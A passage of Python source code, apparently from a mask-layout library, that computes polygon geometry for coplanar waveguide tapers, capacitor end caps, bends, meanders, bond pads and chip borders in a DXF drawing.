alignment_marker2=[ (start[0]+ align_shift + notch_width,start[1] - align_shift - notch_height), (start[0] + align_shift + align_width+ notch_width, start[1] - align_shift- notch_height), (start[0] + align_shift + align_width+ notch_width,start[1] - align_shift - align_width - notch_height), (start[0] + align_shift + 2*align_width+ notch_width,start[1] - align_shift - align_width - notch_height), (start[0] + align_shift + 2*align_width+ notch_width,start[1] - align_shift - 2*align_width - notch_height), (start[0] + align_shift + align_width+ notch_width,start[1] - align_shift - 2*align_width - notch_height), (start[0] + align_shift + align_width+ notch_width,start[1] - align_shift - 3*align_width - notch_height), (start[0] + align_shift+ notch_width,start[1] - align_shift - 3*align_width - notch_height), (start[0] + align_shift+ notch_width,start[1] - align_shift - 2*align_width - notch_height), (start[0] + align_shift - align_width+ notch_width,start[1] - align_shift - 2*align_width - notch_height), (start[0] + align_shift - align_width+ notch_width,start[1] - align_shift - align_width - notch_height), (start[0] + align_shift+ notch_width,start[1] - align_shift - align_width - notch_height), (start[0] + align_shift+ notch_width,start[1] - align_shift - notch_height) ] gap1=rotate_pts(gap1,s.last_direction,start) gap2=rotate_pts(gap2,s.last_direction,start) alignment_marker1=rotate_pts(alignment_marker1,s.last_direction,start) alignment_marker2=rotate_pts(alignment_marker2,s.last_direction,start) stop=rotate_pt((start[0]+notch_width,start[1]),s.last_direction,start) s.last=stop s.append(sdxf.PolyLine(gap1)) s.append(sdxf.PolyLine(gap2)) s.append(sdxf.PolyLine(alignment_marker1)) s.append(sdxf.PolyLine(alignment_marker2)) class CPWLinearTaper: """A section of CPW which (linearly) tapers from one set of start_pinw and start_gapw to stop_pinw and stop_gapw over length=length""" def __init__(self, structure,length,start_pinw,stop_pinw,start_gapw,stop_gapw): if length==0: return #load attributes s=structure start=s.last #define geometry of gaps gap1= [ (start[0],start[1]+start_pinw/2), (start[0]+length,start[1]+stop_pinw/2), (start[0]+length,start[1]+stop_pinw/2+stop_gapw), (start[0],start[1]+start_pinw/2+start_gapw), (start[0],start[1]+start_pinw/2) ] gap2= [ (start[0],start[1]-start_pinw/2), (start[0]+length,start[1]-stop_pinw/2), (start[0]+length,start[1]-stop_pinw/2-stop_gapw), (start[0],start[1]-start_pinw/2-start_gapw), (start[0],start[1]-start_pinw/2) ] #rotate structure to proper orientation gap1=rotate_pts(gap1,s.last_direction,start) gap2=rotate_pts(gap2,s.last_direction,start) #create polylines and append to drawing s.append(sdxf.PolyLine(gap1)) s.append(sdxf.PolyLine(gap2)) #update last anchor position stop=rotate_pt((start[0]+length,start[1]),s.last_direction,start) s.last=stop #---------------------------------------------------------------------------------------------------- class Inner_end_cap: def __init__(self,structure,cap_length,cap_gap,start_pinw,stop_pinw,start_gapw,stop_gapw,capBuffer): if cap_length==0: return """ Class that draws a singlehexagonal endcap for one part of the 3way coupling capacitor variables: cap_length= linear length of end cap cap_gap= width of capacitive gap between end caps start_pinw= beginning width of end cap stop_pinw= width of end cap before taper """ """ The issue with this code is that for small cap_gap, the space between the capacitor and ground plane isn't big enough. """ "Load attributes" s=structure start=s.last cap_length = cap_length - cap_gap/2 start_taperX= cap_length-(stop_pinw/2)/tan(60*pi/180) # X-pos of where the centerpin taper starts start_taperY=((cap_length-start_taperX)+cap_gap/2)*tan(60*pi/180) "Intersection point calculations" x_intersect=(start_pinw/2 + start_gapw - sqrt(3)*(cap_length+cap_gap/2))/(-sqrt(3)-(stop_gapw/start_taperX)) y_intersect=-sqrt(3)*(x_intersect-(cap_length+cap_gap/2)) "draw points that form the end cap geometry" EndCap=[ (start[0],start[1]+start_pinw/2), (start[0],start[1]+start_pinw/2+start_gapw), (start[0]+x_intersect,start[1]+y_intersect), (start[0]+cap_length+cap_gap/2,start[1]), (start[0]+x_intersect,start[1]-y_intersect), (start[0],start[1]-start_pinw/2-start_gapw), (start[0],start[1]-start_pinw/2), (start[0]+start_taperX,start[1]-stop_pinw/2), (start[0]+cap_length,start[1]), (start[0]+start_taperX,start[1]+stop_pinw/2), (start[0],start[1]+start_pinw/2) ] "rotate structure to proper orientation" EndCap=rotate_pts(EndCap,s.last_direction,start) "create polylines and append to drawing /connect the dots" s.append(sdxf.PolyLine(EndCap)) "update last anchor position" stop=rotate_pt((start[0]+cap_length+cap_gap/2,start[1]),s.last_direction,start) s.last=stop class Inner_end_cap_buffer: def __init__(self,structure,cap_length,cap_gap,start_pinw,stop_pinw,start_gapw,stop_gapw,capBuffer,bufferDistance): if cap_length==0: return """ Class that draws a singlehexagonal endcap for one part of the 3way coupling capacitor variables: cap_length= linear length of end cap cap_gap= width of capacitive gap between end caps start_pinw= beginning width of end cap stop_pinw= width of end cap before taper """ """ The issue with this code is that for small cap_gap, the space between the capacitor and ground plane isn't big enough. """ "Load attributes" s=structure start=s.last cap_length = cap_length - cap_gap/2 start_taperX= cap_length-(stop_pinw/2)/tan(60*pi/180) # X-pos of where the centerpin taper starts start_taperY=((cap_length-start_taperX)+cap_gap/2)*tan(60*pi/180) "Intersection point calculations" x_intersect=(start_pinw/2 + start_gapw - sqrt(3)*(cap_length+cap_gap/2))/(-sqrt(3)-(stop_gapw/start_taperX)) y_intersect=-sqrt(3)*(x_intersect-(cap_length+cap_gap/2)) "draw points that form the end cap geometry" EndCap=[ (start[0]+bufferDistance,start[1]+start_pinw/2), (start[0],start[1]+start_pinw/2), (start[0],start[1]+start_pinw/2+start_gapw), (start[0]+x_intersect,start[1]+y_intersect), (start[0]+cap_length+cap_gap/2,start[1]), (start[0]+x_intersect,start[1]-y_intersect), (start[0],start[1]-start_pinw/2-start_gapw), (start[0],start[1]-start_pinw/2), (start[0]+bufferDistance,start[1]-start_pinw/2), (start[0]+start_taperX,start[1]-stop_pinw/2), (start[0]+cap_length,start[1]), (start[0]+start_taperX,start[1]+stop_pinw/2), (start[0]+bufferDistance,start[1]+start_pinw/2), ] "rotate structure to proper orientation" EndCap=rotate_pts(EndCap,s.last_direction,start) "create polylines and append to drawing /connect the dots" s.append(sdxf.PolyLine(EndCap)) "update last anchor position" stop=rotate_pt((start[0]+cap_length+cap_gap/2,start[1]),s.last_direction,start) s.last=stop class Inner_end_cap_bondpad: def __init__(self,structure,cap_length,cap_gap,start_pinw,stop_pinw,start_gapw,stop_gapw,capBuffer,start_pinwLinear,start_gapwLinear): if cap_length==0: return """ Class that draws a singlehexagonal endcap for one part of the 3way coupling capacitor variables: cap_length= linear length of end cap cap_gap= width of capacitive gap between end caps start_pinw= beginning width of end cap stop_pinw= width of end cap before taper """ """ The issue with this code is that for small cap_gap, the space between the capacitor and ground plane isn't big enough. """ "Load attributes" s=structure start=s.last cap_length = cap_length - cap_gap/2 start_taperX= cap_length-(stop_pinw/2)/tan(60*pi/180) # X-pos of where the centerpin taper starts start_taperY=((cap_length-start_taperX)+cap_gap/2)*tan(60*pi/180) "Intersection point calculations" x_intersect=(start_pinw/2 + start_gapw - sqrt(3)*(cap_length+cap_gap/2))/(-sqrt(3)-(stop_gapw/start_taperX)) y_intersect=-sqrt(3)*(x_intersect-(cap_length+cap_gap/2)) "draw points that form the end cap geometry" EndCap=[ (start[0],start[1]+start_pinwLinear/2), (start[0],start[1]+start_pinwLinear/2+start_gapwLinear), (start[0]+x_intersect,start[1]+y_intersect), (start[0]+cap_length+cap_gap/2,start[1]), (start[0]+x_intersect,start[1]-y_intersect), (start[0],start[1]-start_pinwLinear/2-start_gapwLinear), (start[0],start[1]-start_pinwLinear/2), (start[0]+start_taperX,start[1]-stop_pinw/2), (start[0]+cap_length,start[1]), (start[0]+start_taperX,start[1]+stop_pinw/2), (start[0],start[1]+start_pinwLinear/2) ] "rotate structure to proper orientation" EndCap=rotate_pts(EndCap,s.last_direction,start) "create polylines and append to drawing /connect the dots" s.append(sdxf.PolyLine(EndCap)) "update last anchor position" stop=rotate_pt((start[0]+cap_length+cap_gap/2,start[1]),s.last_direction,start) s.last=stop class Inner_end_cap_bondpad_buffer: def __init__(self,structure,cap_length,cap_gap,start_pinw,stop_pinw,start_gapw,stop_gapw,capBuffer,start_pinwLinear,start_gapwLinear,bufferDistance): if cap_length==0: return """ Class that draws a singlehexagonal endcap for one part of the 3way coupling capacitor variables: cap_length= linear length of end cap cap_gap= width of capacitive gap between end caps start_pinw= beginning width of end cap stop_pinw= width of end cap before taper """ """ The issue with this code is that for small cap_gap, the space between the capacitor and ground plane isn't big enough. """ "Load attributes" s=structure start=s.last cap_length = cap_length - cap_gap/2 start_taperX= cap_length-(stop_pinw/2)/tan(60*pi/180) # X-pos of where the centerpin taper starts start_taperY=((cap_length-start_taperX)+cap_gap/2)*tan(60*pi/180) "Intersection point calculations" x_intersect=(start_pinw/2 + start_gapw - sqrt(3)*(cap_length+cap_gap/2))/(-sqrt(3)-(stop_gapw/start_taperX)) y_intersect=-sqrt(3)*(x_intersect-(cap_length+cap_gap/2)) "draw points that form the end cap geometry" EndCap=[ (start[0]+bufferDistance,start[1]+start_pinwLinear/2), (start[0],start[1]+start_pinwLinear/2), (start[0],start[1]+start_pinwLinear/2+start_gapwLinear), (start[0]+x_intersect,start[1]+y_intersect), (start[0]+cap_length+cap_gap/2,start[1]), (start[0]+x_intersect,start[1]-y_intersect), (start[0],start[1]-start_pinwLinear/2-start_gapwLinear), (start[0],start[1]-start_pinwLinear/2), (start[0]+bufferDistance,start[1]-start_pinwLinear/2), (start[0]+start_taperX,start[1]-stop_pinw/2), (start[0]+cap_length,start[1]), (start[0]+start_taperX,start[1]+stop_pinw/2), (start[0]+bufferDistance,start[1]+start_pinwLinear/2) ] "rotate structure to proper orientation" EndCap=rotate_pts(EndCap,s.last_direction,start) "create polylines and append to drawing /connect the dots" s.append(sdxf.PolyLine(EndCap)) "update last anchor position" stop=rotate_pt((start[0]+cap_length+cap_gap/2,start[1]),s.last_direction,start) s.last=stop class Outer_Pacman_cap: def __init__(self,structure,cap_length,cap_gap,start_pinw,stop_pinw,start_gapw,stop_gapw,cap_gap_ext=0): if cap_length==0: return """ Draws a pacman shaped capacitor that fits to the end of the variables: cap_length= linear length of end cap cap_gap= width of capacitive gap b/n end caps start_pinw= beginning width of end cap stop_pinw= width of end cap before taper """ """ The issue with this code is that for small cap_gap, the space between the capacitor and ground plane isn't big enough. """ "Load attributes" s=structure start=s.last cap_length = cap_length - cap_gap/2 start_taperX= cap_length-(stop_pinw/2)/tan(60*pi/180) # X-pos of where the centerpin taper starts start_taperY=((cap_length-start_taperX)+cap_gap/2)*tan(60*pi/180) "Intersection point calculations" x_intersect=(start_pinw/2 + start_gapw - sqrt(3)*(cap_length+cap_gap/2))/(-sqrt(3)-(stop_gapw/start_taperX)) y_intersect=-sqrt(3)*(x_intersect-(cap_length+cap_gap/2)) "draw points that form the end cap geometry" EndCap=[ (start[0], start[1]+start_pinw/2), (start[0] + cap_length-(stop_pinw/2.)/sqrt(3), start[1]+stop_pinw/2), (start[0] + cap_length-(stop_pinw/2.)/sqrt(3)+2.*(stop_pinw/2.)/sqrt(3.), start[1] + stop_pinw/2), (start[0] + cap_length, start[1]), (start[0] + cap_length-(stop_pinw/2.)/sqrt(3)+2.*(stop_pinw/2.)/sqrt(3.), start[1]-stop_pinw/2), (start[0] + cap_length-(stop_pinw/2.)/sqrt(3), start[1]-stop_pinw/2), (start[0] , start[1] - start_pinw/2), (start[0], start[1]-start_pinw/2-start_gapw), (start[0] + x_intersect, start[1] - y_intersect), (start[0] + cap_length + cap_gap/2 + y_intersect/sqrt(3) + cap_gap_ext, start[1] - y_intersect), (start[0] + cap_length + cap_gap/2 + cap_gap_ext,start[1]), (start[0] + cap_length + cap_gap/2 + y_intersect/sqrt(3) + cap_gap_ext, start[1] + y_intersect), (start[0] + x_intersect, start[1] + y_intersect), (start[0],start[1]+start_pinw/2 + start_gapw), (start[0], start[1] + start_pinw/2) ] "rotate structure to proper orientation" EndCap=rotate_pts(EndCap,s.last_direction,start) "create polylines and append to drawing /connect the dots" s.append(sdxf.PolyLine(EndCap)) "update last anchor position" stop=rotate_pt((start[0] + cap_length + cap_gap/2 + cap_gap_ext,start[1]),s.last_direction,start) s.last=stop class CPWBend: """A CPW bend""" def __init__(self,structure,turn_angle,pinw=None,gapw=None,radius=None,polyarc=True,segments=60): """creates a CPW bend with pinw/gapw/radius @param turn_angle: turn_angle is in degrees, positive is CCW, negative is CW """ #load default values if necessary if turn_angle==0: return s=structure # print('radius',radius) if radius is None: radius=s.defaults['radius'] if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] self.structure=structure self.turn_angle=turn_angle self.pinw=pinw self.gapw=gapw self.radius=radius self.segments=segments self.start=s.last self.start_angle=s.last_direction self.stop_angle=self.start_angle+self.turn_angle if turn_angle>0: self.asign=1 else: self.asign=-1 #DXF uses the angle of the radial vector for its start and stop angles #so we have to rotate our angles by 90 degrees to get them right #also it only knows about arcs with CCW sense to them, so we have to rotate our angles appropriately self.astart_angle=self.start_angle-self.asign*90 self.astop_angle=self.stop_angle-self.asign*90 #calculate location of Arc center self.center=rotate_pt( (self.start[0],self.start[1]+self.asign*self.radius),self.start_angle,self.start) if polyarc: self.poly_arc_bend() else: self.arc_bend() self.structure.last=rotate_pt(self.start,self.stop_angle-self.start_angle,self.center) self.structure.last_direction=self.stop_angle def arc_bend(self): #print "start: %d, stop: %d" % (start_angle,stop_angle) if self.turn_angle>0: self.astart_angle=self.start_angle-90 self.astop_angle=self.stop_angle-90 #calculate location of Arc center self.center=rotate_pt( (self.start[0],self.start[1]+self.radius),self.start_angle,self.start) else: self.astart_angle=self.stop_angle+90 self.astop_angle=self.start_angle+90 #make endlines for inner arc #start first gap points1=[ (self.start[0],self.start[1]+self.pinw/2.), (self.start[0],self.start[1]+self.pinw/2.+self.gapw) ] points1=rotate_pts(points1,self.start_angle,self.start) points2=rotate_pts(points1,self.stop_angle-self.start_angle,self.center) #start 2nd gap points3=[ (self.start[0],self.start[1]-self.pinw/2.), (self.start[0],self.start[1]-self.pinw/2.-self.gapw) ] points3=rotate_pts(points3,self.start_angle,self.start) points4=rotate_pts(points3,self.stop_angle-self.start_angle,self.center) #make inner arcs self.structure.append(sdxf.Line(points1)) self.structure.append(sdxf.Arc(self.center,self.radius+self.pinw/2.,self.astart_angle,self.astop_angle)) self.structure.append(sdxf.Arc(self.center,self.radius+self.pinw/2.+self.gapw,self.astart_angle,self.astop_angle)) self.structure.append(sdxf.Line(points2)) self.structure.append(sdxf.Line(points3)) self.structure.append(sdxf.Arc(self.center,self.radius-self.pinw/2.,self.astart_angle,self.astop_angle)) self.structure.append(sdxf.Arc(self.center,self.radius-self.pinw/2.-self.gapw,self.astart_angle,self.astop_angle)) self.structure.append(sdxf.Line(points4)) def poly_arc_bend(self): #lower gap pts1=arc_pts(self.astart_angle,self.astop_angle,self.radius+self.pinw/2.+self.gapw,self.segments) pts1.extend(arc_pts(self.astop_angle,self.astart_angle,self.radius+self.pinw/2.,self.segments)) pts1.append(pts1[0]) pts2=arc_pts(self.astart_angle,self.astop_angle,self.radius-self.pinw/2.,self.segments) pts2.extend(arc_pts(self.astop_angle,self.astart_angle,self.radius-self.pinw/2.-self.gapw,self.segments)) pts2.append(pts2[0]) self.structure.append(sdxf.PolyLine(translate_pts(pts1,self.center))) self.structure.append(sdxf.PolyLine(translate_pts(pts2,self.center))) #class TaperedCPWFingerCap: # def __init__(self, structure,num_fingers,finger_length=None,finger_width=None,finger_gap=None,gapw=None): class CPWWiggles: """CPW Wiggles (meanders)""" def __init__(self,structure,num_wiggles,total_length,start_up=True,radius=None,pinw=None,gapw=None): """ @param num_wiggles: a wiggle is from the center pin up/down and back @param total_length: The total length of the meander @param start_up: Start with a CCW 90 degree turn or a CW turn """ s=structure start=structure.last if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] if radius is None: radius=s.defaults['radius'] #calculate vertical segment length: #total length=number of 180 degree arcs + number of vertical segs + vertical radius spacers #total_length=(1+num_wiggles)*(pi*radius)+2*num_wiggles*vlength+2*(num_wiggles-1)*radius vlength=(total_length-((1+num_wiggles)*(pi*radius)+2*(num_wiggles-1)*radius))/(2*num_wiggles) if vlength<0: print("Warning: length of vertical segments is less than 0, increase total_length or decrease num_wiggles") if start_up: asign=1 else: asign=-1 CPWBend(s,asign*90,pinw,gapw,radius) for ii in range(num_wiggles): isign=2*(ii%2)-1 CPWStraight(s,vlength,pinw,gapw) CPWBend(s,isign*asign*180,pinw,gapw,radius) CPWStraight(s,vlength,pinw,gapw) if ii<num_wiggles-1: CPWStraight(s,2*radius,pinw,gapw) CPWBend(s,-isign*asign*90,pinw,gapw,radius) class CPWWigglesByLength: """An updated version of CPWWiggles which is more general. Specifies a meander by length but allows for starting at different angles and also allows meanders which are symmetric or asymmetric about the center pin. """ def __init__(self,structure,num_wiggles,total_length,start_bend_angle=None,symmetric=True,radius=None,pinw=None,gapw=None): """ @param num_wiggles: a wiggle is from the center pin up/down and back @param total_length: The total length of the meander @param start_bend_angle: Start with a start_bend_angle degree turn (CCW) @param symmetric: If True then meander symmetric about current direction, other wise only above or below depending on start_bend_angle """ s=structure start=structure.last if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] if radius is None: radius=s.defaults['radius'] if num_wiggles == 0 or total_length == 0: self.vlength=0 return if start_bend_angle is None: start_bend_angle=0 if start_bend_angle>0: asign=1 else: asign=-1 if symmetric: vlength=(total_length-2*(start_bend_angle*pi/180*radius)-num_wiggles*pi*radius-2*radius*(num_wiggles-1))/(2*num_wiggles) else: vlength=(total_length-2*(start_bend_angle*pi/180*radius)-pi*radius*(2*num_wiggles-1))/(2*num_wiggles) if vlength<0: raise MaskError("Warning: length of vertical segments is less than 0, increase total_length or decrease num_wiggles") self.vlength=vlength CPWBend(s,start_bend_angle,pinw,gapw,radius) for ii in range(num_wiggles): if symmetric: isign=2*(ii%2)-1 else: isign=-1 CPWStraight(s,vlength,pinw,gapw) CPWBend(s,isign*asign*180,pinw,gapw,radius) CPWStraight(s,vlength,pinw,gapw) if ii<num_wiggles-1: if symmetric: CPWStraight(s,2*radius,pinw,gapw) #if symmetric must account for initial bend height else: CPWBend(s,asign*180,pinw,gapw,radius) #if asymmetric must turn around CPWBend(s,-isign*start_bend_angle,pinw,gapw,radius) class CPWWigglesByLength_EndStraight: """An updated version of CPWWigglesByLength. At the end of the wiggles, the cpw does not curve back to the original direction defined byt the star_bend_angle, but stays straight along the current direction. """ def __init__(self,structure,num_wiggles,total_length,start_bend_angle=None,symmetric=True,radius=None,pinw=None,gapw=None): """ @param num_wiggles: a wiggle is from the center pin up/down and back @param total_length: The total length of the meander @param start_bend_angle: Start with a start_bend_angle degree turn (CCW) @param symmetric: If True then meander symmetric about current direction, other wise only above or below depending on start_bend_angle """ s=structure start=structure.last if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] if radius is None: radius=s.defaults['radius'] if num_wiggles == 0 or total_length == 0: self.vlength=0 return if start_bend_angle is None: start_bend_angle=0 if start_bend_angle>0: asign=1 else: asign=-1 if symmetric: vlength=(total_length-2*(start_bend_angle*pi/180*radius)-num_wiggles*pi*radius-2*radius*(num_wiggles-1))/(2*num_wiggles) else: vlength=(total_length-2*(start_bend_angle*pi/180*radius)-pi*radius*(2*num_wiggles-1))/(2*num_wiggles) if vlength<0: raise MaskError("Warning: length of vertical segments is less than 0, increase total_length or decrease num_wiggles") self.vlength=vlength CPWBend(s,start_bend_angle,pinw,gapw,radius) for ii in range(num_wiggles): if symmetric: isign=2*(ii%2)-1 else: isign=-1 CPWStraight(s,vlength,pinw,gapw) CPWBend(s,isign*asign*180,pinw,gapw,radius) CPWStraight(s,vlength,pinw,gapw) if ii<num_wiggles-1: if symmetric: CPWStraight(s,2*radius,pinw,gapw) #if symmetric must account for initial bend height else: CPWBend(s,asign*180,pinw,gapw,radius) #if asymmetric must turn around# CPWBend(s,start_bend_angle,pinw,gapw,radius) print(('vlength=', vlength)) class drawBondPad: def __init__(self,drawing,pos,Ang,pinw,gapw,bond_pad_length=None,launcher_pinw=None,launcher_gapw=None,taper_length=None,launcher_padding=None,launcher_radius=None): """ Created on 08/09/2011 @author: Brendon Rose Script appends a BondPad on drawing and position pos and Angle Ang relative to the positive x-axis CCW is positive """ "Set Self-attributes" #Launcher parameters set to default if nothing was input if bond_pad_length == None: bond_pad_length = 400. if launcher_pinw == None: launcher_pinw = 150. if launcher_gapw == None: launcher_gapw = 67.305 if taper_length == None: taper_length = 300. if launcher_padding == None: launcher_padding = 67. if launcher_radius == None: launcher_radius = 125. s = drawing #define structure for writting bond pad to s.last = pos #Position to put bond pad s.last_direction = Ang #Angle to put bond pad launcher_length=taper_length+bond_pad_length+launcher_padding "Draw the BondPad and a curly wire to offset launcher" CPWStraight(s,length=launcher_padding,pinw=0,gapw=launcher_pinw/2 + launcher_gapw) CPWStraight(s,length=bond_pad_length,pinw=launcher_pinw,gapw=launcher_gapw) CPWLinearTaper(s,length=taper_length,start_pinw=launcher_pinw,start_gapw=launcher_gapw,stop_pinw=pinw,stop_gapw=gapw) class CPWWigglesByLength_KagRes1: """ An updated version of CPWWigglesByLength. """ def __init__(self,structure,num_wiggles,total_length,br_base,br_width,lattice_shift=None,start_bend_angle=None,symmetric=True,radius=None,pinw=None,gapw=None): # def __init__(self,structure,num_wiggles,total_length,lattice_shift=None,start_bend_angle=None,symmetric=True,radius=None,pinw=None,gapw=None): """ @param num_wiggles: a wiggle is from the center pin up/down and back @param total_length: The total length of the meander @param start_bend_angle: Start with a start_bend_angle degree turn (CCW) @param symmetric: If True then meander symmetric about current direction, other wise only above or below depending on start_bend_angle """ s=structure start=structure.last if lattice_shift is None: lattice_shift = 0 if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] if radius is None: radius=s.defaults['radius'] if num_wiggles == 0 or total_length == 0: self.vlength=0 return if start_bend_angle is None: start_bend_angle=0 if start_bend_angle>0: asign=1 else: asign=-1 if symmetric: vlength=(total_length- radius*(num_wiggles)*pi - 2.*radius*(num_wiggles- 1.))/(2.*num_wiggles -1.) else: vlength=(total_length-(start_bend_angle*pi/180*radius)-pi*radius*(2*num_wiggles-1))/(2*num_wiggles) if vlength<0: raise MaskError("Warning: length of vertical segments is less than 0, increase total_length or decrease num_wiggles") self.vlength=vlength CPWBend(s,start_bend_angle,pinw,gapw,radius) for ii in range(num_wiggles): if symmetric: isign=2*(ii%2)-1 else: isign=-1 if ii <num_wiggles- 1: CPWStraight_Bridges_Layer1(s,vlength-lattice_shift/(2*(num_wiggles - 1)),br_base,br_width,pinw,gapw) # CPWStraight(s,vlength-lattice_shift/(2*(num_wiggles - 1)),pinw,gapw) CPWBend(s,isign*asign*180,pinw,gapw,radius) CPWStraight_Bridges_Layer1(s,vlength-lattice_shift/(2*(num_wiggles - 1)),br_base,br_width,pinw,gapw) # CPWStraight(s,vlength-lattice_shift/(2*(num_wiggles - 1)),pinw,gapw) if symmetric: CPWStraight(s,2*radius,pinw,gapw) #if symmetric must account for initial bend height else: CPWBend(s,asign*180,pinw,gapw,radius) #if asymmetric must turn around else: CPWStraight_Bridges_Layer1(s,vlength,br_base,br_width,pinw,gapw) # CPWStraight(s,vlength,pinw,gapw) CPWBend(s,isign*asign*90,pinw,gapw,radius) class CPWWigglesByLength_KagRes2: """An updated version of CPWWigglesByLength. """ def __init__(self,structure,num_wiggles,total_length,br_base,br_width,lattice_shift=None,start_bend_angle=None,symmetric=True,radius=None,pinw=None,gapw=None): # def __init__(self,structure,num_wiggles,total_length,lattice_shift=None,start_bend_angle=None,symmetric=True,radius=None,pinw=None,gapw=None): """ @param num_wiggles: a wiggle is from the center pin up/down and back @param total_length: The total length of the meander @param start_bend_angle: Start with a start_bend_angle degree turn (CCW) @param symmetric: If True then meander symmetric about current direction, other wise only above or below depending on start_bend_angle """ s=structure start=structure.last if lattice_shift is None: lattice_shift = 0 if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] if radius is None: radius=s.defaults['radius'] if num_wiggles == 0 or total_length == 0: self.vlength=0 return if start_bend_angle is None: start_bend_angle=0 if start_bend_angle>0: asign=1 else: asign=-1 vlength_overflow=0.0 if symmetric: vlength=(total_length- radius*(num_wiggles + 2./3.)*pi - 2.*radius*(num_wiggles- 1. + 1./sqrt(3.)))/(2.*num_wiggles -1. +2./sqrt(3.)) else: vlength=(total_length-(start_bend_angle*pi/180*radius)-pi*radius*(2*num_wiggles-1))/(2*num_wiggles) if vlength<0: raise MaskError("Warning: length of vertical segments is less than 0, increase total_length or decrease num_wiggles") self.vlength=vlength CPWBend(s,start_bend_angle,pinw,gapw,radius) for ii in range(num_wiggles): if symmetric: isign=2*(ii%2)-1 else: isign=-1 if ii<num_wiggles-1: CPWStraight_Bridges_Layer1(s,vlength-lattice_shift/(2*(num_wiggles - 1)),br_base,br_width,pinw,gapw) # CPWStraight(s,vlength-lattice_shift/(2*(num_wiggles-1)),pinw,gapw) CPWBend(s,isign*asign*180,pinw,gapw,radius) CPWStraight_Bridges_Layer1(s,vlength-lattice_shift/(2*(num_wiggles - 1)),br_base,br_width,pinw,gapw) # CPWStraight(s,vlength-lattice_shift/(2*(num_wiggles-1)),pinw,gapw) if symmetric: CPWStraight(s,2*radius,pinw,gapw) #if symmetric must account for initial bend height else: CPWBend(s,asign*180,pinw,gapw,radius) #if asymmetric must turn around else: CPWStraight_Bridges_Layer1(s,vlength,br_base,br_width,pinw,gapw) # CPWStraight(s,vlength,pinw,gapw) CPWBend(s,isign*asign*90,pinw,gapw,radius) CPWBend(s,isign*asign*60,pinw,gapw,radius) CPWStraight(s,2.0/sqrt(3)*(vlength+radius),pinw,gapw) CPWBend(s,-1*isign*asign*60,pinw,gapw,radius) # if ii == num_wiggles: # CPWBend(s,90,pinw,gapw,radius) #CPWBend(s,-isign*start_bend_angle,pinw,gapw,radius) class CPWWigglesByArea: """CPW Wiggles which fill an area specified by (length,width)""" def __init__(self,structure,length,width,start_up=True,radius=None,pinw=None,gapw=None): s=structure if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] if radius is None: radius=s.defaults['radius'] #figure out how many wiggles you can fit #length=2*(num_wiggles+1)*radius num_wiggles=int(floor(length/(2*radius)-1)) padding=length-2*(num_wiggles+1)*radius vlength=(width-4*radius)/2 total_length=(1+num_wiggles)*(pi*radius)+2*num_wiggles*vlength+2*(num_wiggles -1)*radius self.num_wiggles=num_wiggles self.padding=padding self.vlength=vlength self.total_length=total_length self.properties= { 'num_wiggles':num_wiggles,'padding':padding,'vlength':vlength,'total_length':total_length} CPWStraight(s,padding/2,pinw,gapw) CPWWiggles(s,num_wiggles,total_length,start_up,radius,pinw,gapw) CPWStraight(s,padding/2,pinw,gapw) class CPWPaddedWiggles: def __init__(self,structure,length,width,cpw_length,start_up=True,radius=None,pinw=None,gapw=None): s=structure if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] if radius is None: radius=s.defaults['radius'] if cpw_length<length+(2*pi-4)*radius: raise MaskError("Error in CPWPaddedWiggles: cpw_length=%f needs less than one wiggle!" %(cpw_length)) #calculate maximum length possible in area num_wiggles=int(floor(length/(2*radius)-1)) padding=length-2*(num_wiggles+1)*radius vlength=(width-4*radius)/2 max_length=(1+num_wiggles)*(pi*radius)+2*num_wiggles*vlength+2*(num_wiggles-1)*radius if cpw_length > max_length: raise MaskError("Error in CPWPaddedWiggles: cpw_length=%f > max_length=%f that can be fit into alotted area!" %(cpw_length,max_length)) #to be finished class ChipBorder(Structure): """Chip border for dicing""" def __init__(self,chip,border_thickness,layer="border",color=1): Structure.__init__(self,chip,layer=layer,color=color) chip_size=(chip.size[0]+2*border_thickness,chip.size[1]+2*border_thickness) pts1=[ (0,chip_size[1]), (chip_size[0],chip_size[1]), (chip_size[0],chip_size[1]-border_thickness), (0,chip_size[1]-border_thickness), (0,chip_size[1]) ] pts1=translate_pts(pts1,(-border_thickness,-border_thickness)) pts2=[ (0,0), (chip_size[0],0), (chip_size[0],border_thickness), (0,border_thickness), (0,0) ] pts2=translate_pts(pts2,(-border_thickness,-border_thickness)) pts3=[ (0,border_thickness), (border_thickness,border_thickness), (border_thickness,chip_size[1]-border_thickness), (0,chip_size[1]-border_thickness), (0,border_thickness) ] pts3=translate_pts(pts3,(-border_thickness,-border_thickness)) pts4=[ (chip_size[0]-border_thickness,border_thickness), (chip_size[0],border_thickness), (chip_size[0],chip_size[1]-border_thickness), (chip_size[0]-border_thickness,chip_size[1]-border_thickness), (chip_size[0]-border_thickness,border_thickness) ] pts4=translate_pts(pts4,(-border_thickness,-border_thickness)) self.append(sdxf.PolyLine(pts1)) self.append(sdxf.PolyLine(pts2)) self.append(sdxf.PolyLine(pts3)) self.append(sdxf.PolyLine(pts4)) class CPWGapCap: """A CPW gap capacitor (really just a gap in the CPW center pin with no padding)""" def __init__(self, gap,pinw=None,gapw=None,capacitance=0.0): self.type='gap' self.gap=gap self.pinw=pinw self.gapw=gapw self.capacitance=capacitance self.length=gap def description(self): return "Type:\t%s\tAssumed Capacitance:\t%f\tGap Distance:\t%f\tPin Width:\t%f\t,Gap Width:\t%f\t" % ( self.type,self.capacitance,self.gap,self.pinw,self.gapw ) def draw(self,structure): s=structure start=structure.last if self.pinw is None: self.pinw=structure.defaults['pinw'] if self.gapw is None: self.gapw=structure.defaults['gapw'] pinw=self.pinw gapw=self.gapw ## gpoints=[ (start[0],start[1]+pinw/2+gapw), ## (start[0]+self.gap,start[1]+pinw/2+gapw), ## (start[0]+self.gap,start[1]-pinw/2-gapw), ## (start[0],start[1]-pinw/2-gapw), ## (start[0],start[1]+pinw/2+gapw) ## ] ## ## gpoints=rotate_pts(gpoints,s.last_direction,start) gpoints=[ 